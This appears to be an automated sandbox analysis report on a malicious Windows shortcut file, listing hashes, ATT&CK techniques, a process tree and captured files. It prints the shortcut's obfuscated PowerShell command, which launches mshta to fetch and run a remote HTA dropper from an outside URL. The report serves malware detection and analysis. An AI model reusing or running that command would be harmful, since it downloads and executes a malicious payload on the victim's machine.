e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25/04/2024, 02:08

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General

Target

e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
Size

2KB
MD5

82fde340f187a517e0feced1d4972363
SHA1

07740ba4e30a1dbc830451a0d05130ba1af28be9
SHA256

e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
SHA512

db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://www.sessosesso.it/assets/aw/yt.hta

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2688	mshta.exe
7	2688	mshta.exe
8	2688	mshta.exe
9	2688	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 2592	2004	cmd.exe	29
PID 2004 wrote to memory of 2592	2004	cmd.exe	29
PID 2004 wrote to memory of 2592	2004	cmd.exe	29
PID 2592 wrote to memory of 2688	2592	powershell.exe	30
PID 2592 wrote to memory of 2688	2592	powershell.exe	30
PID 2592 wrote to memory of 2688	2592	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar1A7A.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
memory/2592-38-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/2592-39-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-41-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2592-42-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-43-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2592-40-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/2592-44-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2592-45-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2592-46-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download